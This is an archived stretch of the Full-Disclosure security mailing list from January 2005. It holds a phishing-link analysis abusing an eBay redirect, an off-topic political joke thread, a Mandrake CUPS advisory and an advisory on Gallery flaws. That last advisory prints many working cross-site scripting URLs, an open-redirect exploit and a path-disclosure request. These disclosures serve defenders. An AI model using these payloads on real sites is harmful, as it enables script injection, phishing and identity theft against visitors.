P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+
cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg
VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b
yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7
tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ
xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63
Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo
choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI
BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u
v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+
x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0
Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq
MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2
saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o
L0oixF12CohGBBARAgAGBQI7HmHDAAoJEJ5A4xAACqukTlQAoI4QzP9yjPohY7OU
F7J3eKBTzp25AJ42BmtSd3pvm5ldmognWF3Trhp+GYkAlQMFEDe3O8IWkDf+zvyS
FQEBAfkD/3GG5UgJj18UhYmh1gfjIlDcPAeqMwSytEHDENmHC+vlZQ/p0mT9tPiW
tp34io54mwr+bLPN8l6B5GJNkbGvH6M+mO7R8Lj4nHL6pyAv3PQr83WyLHcaX7It
Klj371/4yzKV6qpz43SGRK4MacLo2rNZ/dNej7lwPCtzCcFYwqkiiEYEEBECAAYF
AjoaQqQACgkQx1KqMrDf94ArewCfWnTUDG5gNYkmHG4bYL8fQcizyA4An2eVo/n+
3J2KRWSOhpAMsnMxtPbBiEYEExECAAYFAkGJG+YACgkQGsiRhDTRlzm8CQCg14Wz
vg6j45e/r1oyt9EaHhleSacAnA+2dArk1I3xt49Z5rdnhqheF//9mQGiBDnu9IER
BACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff4JctBsgs47tj
miI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0dM+HFrruCgBlW
t6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcOQliHu8jwRQHx
lRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrKXBUX+K7u4ifr
ZlQvj/81M4INjtXreqDiJtr99Rs6xa0ScZqITuZC4CWxJa9GynBED3+D2t1V/f8l
0smsuYoFOF7Ib49IkTdbtwAThlZp8bEhELBeGaPdNCcmfZ66rKUdG5sRA/9ovnc1
krSQF2+sqB9/o7w5/q2qiyzwOSTnkjtBUVKn4zLUOf6aeBAoV6NMCC3Kj9aZHfA+
ND0ehPaVGJgjaVNFhPi4x0e7BULdvgOoAqajLfvkURHAeSsxXIoEmyW/xC1sBbDk
DUIBSx5oej73XCZgnj/inphRqGpsb+1nKFvF+rQoU3VTRSBQYWNrYWdlIFNpZ25p
bmcgS2V5IDxidWlsZEBzdXNlLmRlPohcBBMRAgAcBQI57vSBBQkDwmcABAsKAwQD
FQMCAxYCAQIXgAAKCRCoTtronIAKyl8sAJ98BgD40zw0GHJHIf6dNfnwI2PAsgCg
jH1+PnYEl7TFjtZsqhezX7vZvYCIRgQQEQIABgUCOnBeUgAKCRCeQOMQAAqrpNzO
AKCL512FZvv4VZx94TpbA9lxyoAejACeOO1HIbActAevk5MUBhNeLZa/qM2JARUD
BRA6cGBvd7LmAD0l09kBATWnB/9An5vfiUUE1VQnt+T/EYklES3tXXaJJp9pHMa4
fzFa8jPVtv5UBHGee3XoUNDVwM2OgSEISZxbzdXGnqIlcT08TzBUD9i579uifklL
snr35SJDZ6ram51/CWOnnaVhUzneOA9gTPSr+/fT3WeVnwJiQCQ30kNLWVXWATMn
snT486eAOlT6UNBPYQLpUprF5Yryk23pQUPAgJENDEqeU6iIO9Ot1ZPtB0lniw+/
xCi13D360o1tZDYOp0hHHJN3D3EN8C1yPqZd5CvvznYvB6bWBIpWcRgdn2DUVMmp
U661jwqGlRz1F84JG/xe4jGuzgpJt9IXSzyohEJB6XG5+D0BiF0EExECAB0FAjxq
qTQFCQoAgrMFCwcKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyp1fAJ9dR7saz2KP
NwD3U+fy/0BDKXrYGACfbJ8fQcJqCBQxeHvt9yMPDVq0B0W5Ag0EOe70khAIAISR
0E3ozF/la+oNaRwxHLrCet30NgnxRROYhPaJB/Tu1FQokn2/Qld/HZnh3TwhBIw1
FqrhWBJ7491iAjLR9uPbdWJrn+A7t8kSkPaF3Z/6kyc5a8fas44ht5h+6HMBzoFC
MAq2aBHQRFRNp9Mz1ZvoXXcI1lk1l8OqcUM/ovXbDfPcXsUVeTPTtGzcAi2jVl9h
l3iwJKkyv/RLmcusdsi8YunbvWGFAF5GaagYQo7YlF6UaBQnYJTM523AMgpPQtsK
m9o/w9WdgXkgWhgkhZEeqUS3m5xNey1nLu9iMvq9M/iXnGz4sg6Q2Y+GqZ+yAvNW
jRRou3zSE7Bzg28MI4sAAwYH/2D71Xc5HPDgu87WnBFgmp8MpSr8QnSs0wwPg3xE
ullGEocolSb2c0ctuSyeVnCttJMzkukL9TqyF4s/6XRstWirSWawJxRLKH6Zjo/F
aKsshYKf8gBkAaddvpl3pO0gmUYbqmpQ3xDEYlhCeieXS5MkockQ1sj2xYdB1xO0
ExzfiCiscUKjUFy+mdzUsUutafuZ+gbHog1CN/ccZCkxcBa5IFCHORrNjq9pYWlr
xsEn6ApsG7JJbM2besW1PkdEoxak74z1senh36m5jQvVjA3U4xq1wwylxadmmJaJ
HzeiLfb7G1ZRjZTsB7fyYxqDzMVul6o9BSwO/1XsIAnV1uuITAQYEQIADAUCOe70
kgUJA8JnAAAKCRCoTtronIAKyksiAJsFB3/77SkH3JlYOGrEe1Ol0JdGwACeKTtt
geVPFB+iGJdiwQlxasOfuXyITAQYEQIADAUCPGqpWQUJCgCCxwAKCRCoTtronIAK
yofBAKCSZM2UFyta/fe9WgITK9I5hbxxtQCfX+0ar2CZmSknn3coSPihn1+OBNw=
=Fv2n
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iQEVAwUBQevwf3ey5gA9JdPZAQHyVgf9GMb+UBhVgeVLY555CZvcNGZR/7+KG5h/
wxm5sLoU19jRRxL7ymEWjpD0Nu+llk/vF1BHxFHmHaOVzynu7ahnme3/99C4XJtT
p1t1ReEXrcxb7fvS9zvoxpahz7Ylx58LmeJ39VlXFEnLU0rtBLAGPA48KsWmKoJi
o7yXHKoWh8IaY+57qRXPQPbPbtDun/H1+QAlTLSql6kkzluNbnJjV1vSji69YRfF
+Jmf//UP/BJM3EGv+9Cy/yP7Zi4fC1uBubv8mOsTlLLMqMxYtqLvTpYII71DIgGx
EiQzVqXuIGdHgb1cktcgcn6PsFZewvHJIfjXPHRxSSZR3zkQWTgkFg==
=0Nm6
-----END PGP SIGNATURE-----


From jeff-kell at utc.edu  Mon Jan 17 17:36:31 2005
From: jeff-kell at utc.edu (Jeff Kell)
Date: Mon, 17 Jan 2005 12:36:31 -0500
Subject: [Full-Disclosure] New phishing trick?
Message-ID: <41EBF79F.5010809@utc.edu>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Here's one I don't recall seeing before... very good looking eBay
phishing notice (can supply full text if anyone wants, but I'll keep
this to the interesting part) with the "money shot" URL consisting of
the following link:

| <p align="justify"><font face="Verdana" size="1">Click below to
| continue :</font></p> <p align="left"><font face="Verdana" size="1"> <a
|
title="https://arribada.ebay.com/saw-cgi/eBayISAPI.dll?PlaceCCInfo&amp;page=0%..."
|
href="http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPICommand=RedirectToDomain&DomainUrl=http://64.28.111.71/update">
|
https://arribada.ebay.com/saw-cgi/eBayISAPI.dll?PlaceCCInfo&amp;page=0%...</a></font></tr>

The "displayed" anchor is https:// and directed at eBay (no surprise)
but the real URL really does go to eBay to a cgi that does a redirect to
the phishing site, with the target of the redirect appearing at the
extreme end of the URL (might have been a little better if obfuscated by
escaped unicoding or similar, but it's plaintext).

eBay may have tweaked the redirecting cgi by now, but when I checked it
last night it worked (as a general redirect, I didn't examine the
phishing site target itself).

Jeff
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (MingW32)

iD8DBQFB6/efot2VatFbXMERAhOUAJ4xuKIJh3IiNVKi2kvd036uNgScqQCeKPzj
V/jt6jY+dd9P5WC1gPbaxLs=
=gA3c
-----END PGP SIGNATURE-----


From seclists at securinews.com  Mon Jan 17 17:38:33 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Mon, 17 Jan 2005 12:38:33 -0500
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters
In-Reply-To: <20050117113621.GW39109@DAPCVA.da>
Message-ID: <200501171739.j0HHd8rs010041@lists.netsys.com>

Mind control is also when Bush was given answers at the first debate; by a
radio receiver hidden under his coat
(http://www.washingtonpost.com/wp-dyn/articles/A18734-2004Oct8.html). But
when the media questioned Bush, he just said it was a "poorly tailored"
suit. Yeah right!

-Paul

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Vincent
Archer
Sent: Monday, January 17, 2005 6:36 AM
To: Feher Tamas
Cc: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] Illegal mind control is coming to the
USA,black helicopters

On Mon, Jan 17, 2005 at 11:52:54AM +0100, Feher Tamas wrote:
> http://news.bbc.co.uk/2/hi/uk_news/magazine/4169313.stm
> 
> ... Some scientists in the US are working on more advanced technology 
> which might be better equipped at detecting deception. Imagine the 
> Pentagon equipped with a machine which can read minds. Sound like the 
> plot of a Hollywood thriller? Well, it might not be that far away ...

That's not mind control, that's mind reading. Mind control is when Bush will
win the next election with 95% of the votes, after Congress suddendly
decided out of the blue to abrogate that little constitutional amendment
that's impeding the necessary continuity of leadership during wartime.

(sorry, couldn't resist)

Bring out the tinfoil hats!!!

--
Vincent ARCHER
varcher at denyall.com

Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From var at deny-all.com  Mon Jan 17 17:41:41 2005
From: var at deny-all.com (Vincent Archer)
Date: Mon, 17 Jan 2005 18:41:41 +0100
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters
In-Reply-To: <20050117173911.1246997BF@mail.deny-all.com>
References: <20050117113621.GW39109@DAPCVA.da>
	<20050117173911.1246997BF@mail.deny-all.com>
Message-ID: <20050117174141.GP39109@DAPCVA.da>

On Mon, Jan 17, 2005 at 12:38:33PM -0500, Paul Kurczaba wrote:
> Mind control is also when Bush was given answers at the first debate; by a
> radio receiver hidden under his coat
> (http://www.washingtonpost.com/wp-dyn/articles/A18734-2004Oct8.html). But
> when the media questioned Bush, he just said it was a "poorly tailored"
> suit. Yeah right!

/insert obligatory reference to _Interface_ (a Neal Stephenson novel, if
you've never read it)

-- 
Vincent ARCHER
varcher at denyall.com

Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France
www.denyall.com



From aditya.deshmukh at online.gateway.expertworks.net  Mon Jan 17 19:17:18 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Tue, 18 Jan 2005 00:47:18 +0530
Subject: [Full-Disclosure] Wide spread DSV 
In-Reply-To: <200501171043.j0HAh1QC018288@turing-police.cc.vt.edu>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAnoryoMrDnUi4k+d+XN4QhwEAAAAA@online.gateway.expertworks.net>

>Yes, but the Dumb Advisory Meme is quite viral, we've had a number of
>cases break out here of late.  Amazon.com, DSV, a Windows 
>Explorer from Team
>Pwnge, and a gcc exploit.
>
>Somewhere between zero and 4 of those were trolls.  I wish I 
>knew which. ;)


Looks like all the people are whiling away all their time on slashdot and
then posting it over here, please people this is *not* SLASHDOT


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From security at linux-mandrake.com  Mon Jan 17 19:48:22 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Mon, 17 Jan 2005 12:48:22 -0700
Subject: [Full-Disclosure] MDKSA-2005:008 - Updated cups packages fix
	multiple vulnerabilities
Message-ID: <E1CqcrO-0003CS-KJ@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           cups
 Advisory ID:            MDKSA-2005:008
 Date:                   January 17th, 2005

 Affected versions:	 10.0, 10.1, 9.2, Corporate Server 2.1,
			 Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 A buffer overflow was discovered in the ParseCommand function in the
 hpgltops utility.  An attacker with the ability to send malicious HPGL
 files to a printer could possibly execute arbitrary code as the "lp"
 user (CAN-2004-1267).
 
 Vulnerabilities in the lppasswd utility were also discovered.  The
 program ignores write errors when modifying the CUPS passwd file.  A
 local user who is able to fill the associated file system could corrupt
 the CUPS passwd file or prevent future use of lppasswd (CAN-2004-1268
 and CAN-2004-1269). As well, lppasswd does not verify that the
 passwd.new file is different from STDERR, which could allow a local
 user to control output to passwd.new via certain user input that could
 trigger an error message (CAN-2004-1270).
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1267
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1268
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1269
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1270
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 1e0251c77c7b2c9316bc521b0f82a53d  10.0/RPMS/cups-1.1.20-5.5.100mdk.i586.rpm
 e77c1d4bff04dc3a1d609ecd1c8c9e0f  10.0/RPMS/cups-common-1.1.20-5.5.100mdk.i586.rpm
 62aba65ac5bcdccfe758159b984b3994  10.0/RPMS/cups-serial-1.1.20-5.5.100mdk.i586.rpm
 7afb5aea66db7227a6914267be740833  10.0/RPMS/libcups2-1.1.20-5.5.100mdk.i586.rpm
 14f7b61865ee7a15f2e1564cc60f9672  10.0/RPMS/libcups2-devel-1.1.20-5.5.100mdk.i586.rpm
 16e7119ecb214022e6ff1297eaad3d2d  10.0/SRPMS/cups-1.1.20-5.5.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 5ebeedb2d182f35cf22c31afff3c0972  amd64/10.0/RPMS/cups-1.1.20-5.5.100mdk.amd64.rpm
 d84c55b9076c74373fa4dbb4e86432ef  amd64/10.0/RPMS/cups-common-1.1.20-5.5.100mdk.amd64.rpm
 ec5098bd9300257fe5011fca0bd8ae68  amd64/10.0/RPMS/cups-serial-1.1.20-5.5.100mdk.amd64.rpm
 d0d1aac0eacef95e804e16d0ef5b2c6b  amd64/10.0/RPMS/lib64cups2-1.1.20-5.5.100mdk.amd64.rpm
 3c1ff21d12d84af2be6da34d4362f43c  amd64/10.0/RPMS/lib64cups2-devel-1.1.20-5.5.100mdk.amd64.rpm
 16e7119ecb214022e6ff1297eaad3d2d  amd64/10.0/SRPMS/cups-1.1.20-5.5.100mdk.src.rpm

 Mandrakelinux 10.1:
 ece1d0df72d1dc15a09ed755172770ba  10.1/RPMS/cups-1.1.21-0.rc1.7.3.101mdk.i586.rpm
 288a2795e3e329ff708f3f47373187a1  10.1/RPMS/cups-common-1.1.21-0.rc1.7.3.101mdk.i586.rpm
 89901c1c9a8169c5d80f818599bd44b5  10.1/RPMS/cups-serial-1.1.21-0.rc1.7.3.101mdk.i586.rpm
 6f8350dd4fb4937c17e362ef797dad96  10.1/RPMS/libcups2-1.1.21-0.rc1.7.3.101mdk.i586.rpm
 5bc6dfa8bc58989678a962cfa1722688  10.1/RPMS/libcups2-devel-1.1.21-0.rc1.7.3.101mdk.i586.rpm
 55d5adea7a47fc48a582dced0cba3bab  10.1/SRPMS/cups-1.1.21-0.rc1.7.3.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 ac22a09fe5c0d67121fb4584c1bd41dc  x86_64/10.1/RPMS/cups-1.1.21-0.rc1.7.3.101mdk.x86_64.rpm
 a329cc52b9f6b6059a186f2b4758a430  x86_64/10.1/RPMS/cups-common-1.1.21-0.rc1.7.3.101mdk.x86_64.rpm
 7b7bcd648c962069a534d3c7b3f416d2  x86_64/10.1/RPMS/cups-serial-1.1.21-0.rc1.7.3.101mdk.x86_64.rpm
 fe88bf3a903767f50fe884c1006c72f1  x86_64/10.1/RPMS/lib64cups2-1.1.21-0.rc1.7.3.101mdk.x86_64.rpm
 8f71509bfd63c3deb83d1f7e67104088  x86_64/10.1/RPMS/lib64cups2-devel-1.1.21-0.rc1.7.3.101mdk.x86_64.rpm
 55d5adea7a47fc48a582dced0cba3bab  x86_64/10.1/SRPMS/cups-1.1.21-0.rc1.7.3.101mdk.src.rpm

 Corporate Server 2.1:
 c7acb7c1e2ad053308af52c9729bc903  corporate/2.1/RPMS/cups-1.1.18-2.7.C21mdk.i586.rpm
 2a86e725464396da1a7d0d114ce97141  corporate/2.1/RPMS/cups-common-1.1.18-2.7.C21mdk.i586.rpm
 812683730d90ceb10dfbd3bd96f4b23b  corporate/2.1/RPMS/cups-serial-1.1.18-2.7.C21mdk.i586.rpm
 0112be232e1f7e075c8402431600b450  corporate/2.1/RPMS/libcups1-1.1.18-2.7.C21mdk.i586.rpm
 1d51cc74a64648aaaaf94d8d0720d95f  corporate/2.1/RPMS/libcups1-devel-1.1.18-2.7.C21mdk.i586.rpm
 45d74173e029fb4357b6fc150b5b0f96  corporate/2.1/SRPMS/cups-1.1.18-2.7.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 83b787f50242cbf5576e1b5849e415a9  x86_64/corporate/2.1/RPMS/cups-1.1.18-2.7.C21mdk.x86_64.rpm
 7aa9052837d945a572525f4280ba3163  x86_64/corporate/2.1/RPMS/cups-common-1.1.18-2.7.C21mdk.x86_64.rpm
 96ff5d11e78b862a5d707cbc29d0022f  x86_64/corporate/2.1/RPMS/cups-serial-1.1.18-2.7.C21mdk.x86_64.rpm
 59db51c58eb2dac956ec9a20e72cf968  x86_64/corporate/2.1/RPMS/libcups1-1.1.18-2.7.C21mdk.x86_64.rpm
 dcfe2dba0c165618ec2c43c4a53550d9  x86_64/corporate/2.1/RPMS/libcups1-devel-1.1.18-2.7.C21mdk.x86_64.rpm
 45d74173e029fb4357b6fc150b5b0f96  x86_64/corporate/2.1/SRPMS/cups-1.1.18-2.7.C21mdk.src.rpm

 Corporate Server 3.0:
 980ef8bdf2fb0edf8f43744c58ab9d02  corporate/3.0/RPMS/cups-1.1.20-5.5.C30mdk.i586.rpm
 88e3806fed54ee27bb3454d39d41dbdf  corporate/3.0/RPMS/cups-common-1.1.20-5.5.C30mdk.i586.rpm
 9e03b10d467e249a4784f22a57a48138  corporate/3.0/RPMS/cups-serial-1.1.20-5.5.C30mdk.i586.rpm
 35c6c14219de93adfd5bd8b3c224d8bd  corporate/3.0/RPMS/libcups2-1.1.20-5.5.C30mdk.i586.rpm
 98368e82f1b812c5fdbebd985df65198  corporate/3.0/RPMS/libcups2-devel-1.1.20-5.5.C30mdk.i586.rpm
 9b3fdc543ef0aa6d1c593d2b810eee57  corporate/3.0/SRPMS/cups-1.1.20-5.5.C30mdk.src.rpm

 Mandrakelinux 9.2:
 d3883cb621525731fc167ff32b9f60b8  9.2/RPMS/cups-1.1.19-10.5.92mdk.i586.rpm
 7774fbbce517ef94092452b0f6bf6348  9.2/RPMS/cups-common-1.1.19-10.5.92mdk.i586.rpm
 b60260260061314180b239b47326b96b  9.2/RPMS/cups-serial-1.1.19-10.5.92mdk.i586.rpm
 6a3cc8c852f46f3b3de385993d3c53bf  9.2/RPMS/libcups2-1.1.19-10.5.92mdk.i586.rpm
 e53c2e66c366fac0ad470e5972170ac9  9.2/RPMS/libcups2-devel-1.1.19-10.5.92mdk.i586.rpm
 811375f41b9f2c85e2bfa6f64a88a7e2  9.2/SRPMS/cups-1.1.19-10.5.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 d0d6cdc697cc7b200e5b2abd60121f10  amd64/9.2/RPMS/cups-1.1.19-10.5.92mdk.amd64.rpm
 c528308bfd48852daecb0e7373c5f2bb  amd64/9.2/RPMS/cups-common-1.1.19-10.5.92mdk.amd64.rpm
 99b41ab64d07eba6b75b294a2137c4a8  amd64/9.2/RPMS/cups-serial-1.1.19-10.5.92mdk.amd64.rpm
 931920e3bf5e3aea34199e52f8bed860  amd64/9.2/RPMS/lib64cups2-1.1.19-10.5.92mdk.amd64.rpm
 05acfa1a72f100c4607c8229784bb81d  amd64/9.2/RPMS/lib64cups2-devel-1.1.19-10.5.92mdk.amd64.rpm
 811375f41b9f2c85e2bfa6f64a88a7e2  amd64/9.2/SRPMS/cups-1.1.19-10.5.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB7BaGmqjQ0CJFipgRAjs+AKCB6+rswYYmRThdnyK7KcOVmaHQzgCdGe0X
q1N+iA6yjEOQ9ATrA9/WPP0=
=gvqy
-----END PGP SIGNATURE-----


From theinsider at 012.net.il  Mon Jan 17 20:34:43 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Mon, 17 Jan 2005 22:34:43 +0200
Subject: [Full-Disclosure] Gallery v1.3.4-pl1, v1.4.4-pl2,
 2.0 Alpha Cross Site Scripting Vulnerability
Message-ID: <000a01c4fcd3$f9e2b5e0$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    Gallery
Vendors:        http://gallery.sourceforge.net
Versions:       v1.3.4-pl1, v1.4.4-pl2, 2.0 Alpha
Platforms:      Windows
Bug:              Cross Site Scripting Vulnerability
Exploitation:   Remote With Browser
Date:             17 Jan 2005
Author:          Rafel Ivgi, The-Insider
E-Mail:          the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Gallery is open to Cross Site Scripting vulnerability, allowing a remote
attacker to inject and execute scripts on the user?s machine while visiting
a remote gallery.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

Gallery v1.3.4-pl1 contain a vulnerability inside ?add_comment.php? in the
?index? field. The injection can be done using the classical tag closing:
"><script>alert()</script>

For Example:
http://<valid host>/gallery/add_comment.php?set_albumName=Eros&index=1">
<script>alert()</script>


Gallery v1.3.4-pl1 also contains vulnerability inside ?slideshow_low.php?
in ALL the fields. The ?slideshow_low.php? contains the following form
fields:
set_albumName
slide_index
slide_full
slide_loop
slide_pause
slide_dir

The injection can be done using the classical tag closing:
"><script>alert()</script>

For Example:
http://<valid host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_
index=3&slide_full=0"><script>alert()</script>&slide_loop=0&slide_pause=3&sl
ide_dir=1

Yet there is Gallery v1.3.4-pl1 vulnerability inside ?search.php? in the
?username? field. The injection can be done using hex encoded tag closing
and an HTML event:
%22%20onactivate%3D"alert%28%29"

For Example:
http://<valid
host>/gallery/search.php?searchstring=%22%20onactivate%3D"alert%28%29"



Gallery v1.4.4-pl2 contains vulnerability inside ?login.php? in the
?username? field.
The injection can be done using hex encoded tag closing and an HTML event:
%22%20onactivate%3D"alert%28%29"
http://<valid host>/gallery/login.php?gallery_popup=true&username=/*%22*/%20
onactivate%3Dalert%28%29%3e
This version of Gallery also has an open redirection, which is a security
risk because
an attacker can send someone a link with a redirection to his evil host name
or to cause
the user to commit an attack or waste a target?s resources.

For Example:
http://<valid host>/gallery/do_command.php?set_fullOnly=on&return=<escape
encoded evil
host name>&cmd= All the vulnerabilities described above can be used to
remotely call
a JavaScript file The injected JavaScript code is responsible for:
Automatic launching of malicious code (remote compromise by I.E exploits).
Identity theft using a spoofed re-login window (only for galleries with
login)

Gallery v2.0 Alpha contains vulnerability inside ?login.php? in the
?g2_form[subject]?
field. The injection can be done using an inline javascript protocol call:
javascript:alert()

For Example:
http://<valid host>/g2/main.php?g2_controller=comment:AddComment&g2
_form[formName]=AddComment&g2_itemId=<valid
item>&g2_form[subject]=[img]javascript:alert
()[/img]&g2_form[action][preview]=preview

Gallery v2.0 Alpha contains another vulnerability inside ?main.php? in the
?g2_subView? parameter. It is possible the replace any valid subView value
such as: comment
:ShowComments with the admin value: core:UserAdmin. This causes the gallery
to wait 30 seconds
and then print out the Full Path of the gallery on the server.

For Example:
http://<valid host>/g2/main.php?g2_return= http://<valid
host>/main.php%3Fg2_view%3Dcore
%3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3D< any valid/invalid session
id such as:
be869b98355e8d445c8ec8f97cb343da>&g2_view=core:UserAdmin&amp;g2_subView=core
:UserAdmin

Then the following data will be printed out to the attacker:
Fatal error: Maximum execution time of 30 seconds exceeded in
/mnt/1/<name>/www/<host>/g2/
modules/core/UserAdmin.inc on line 55

Second Time
Fatal error: Maximum execution time of 30 seconds exceeded in
/mnt/1/<name>/www/<host>/g2/
modules/core/classes/GalleryUtilities.class on line 596

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

Gallery v1.3.4-pl1
http://<host>/gallery/add_comment.php?set_albumName=Eros&index=1"><script>al
ert()</script>
http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3"><s
cript>alert()</script>&slide_full=0&slide_loop=0&slide_pause=3&slide_dir=1
http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&sli
de_full=0"><script>alert()</script>&slide_loop=0&slide_pause=3&slide_dir=1
http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&sli
de_full=0&slide_loop=0"><script>alert()</script>&slide_pause=3&slide_dir=1
http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&sli
de_full=0&slide_loop=0&slide_pause=3"><script>alert()</script>&slide_dir=1
http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&sli
de_full=0&slide_loop=0&slide_pause=3&slide_dir=1"><script>alert()</script>
http://<host>/gallery/search.php?searchstring=%22%20onclick%3D"alert%28%29"

Gallery v1.4.4-pl2
http://<host>/gallery/login.php?gallery_popup=true&cool=rafi&username=/*%22*
/%20onactivate%3Dalert%28%29%3e<plaintext>
http://<host>/gallery/do_command.php?set_fullOnly=on&return=http%3A%2F%2Fwww
.google.com&cmd=

Gallery v2.0 Alpha

1)  http://<valid host>/g2/main.php?g2_controller=comment:AddComment&g2
 _form[formName]=AddComment&g2_itemId=<valid
item>&g2_form[subject]=[img]javascript:alert()[/img]&g2_form[action][preview
]=preview

2)
http://<host>/g2/main.php?g2_return=<host>%2Fg2%2Fmain.php%3Fg2_view%3Dcore%
3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3Dbe869b98355e8d445c8ec8f97cb3
43da%5C%5C0%5C%5C00%5C%5C%5C%5C0%5C%5C%5C%5C00%3B%250a%250d%250a%250drafi&am
p;g2_view=core:UserAdmin&amp;g2_subView=core:UserAdmin



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

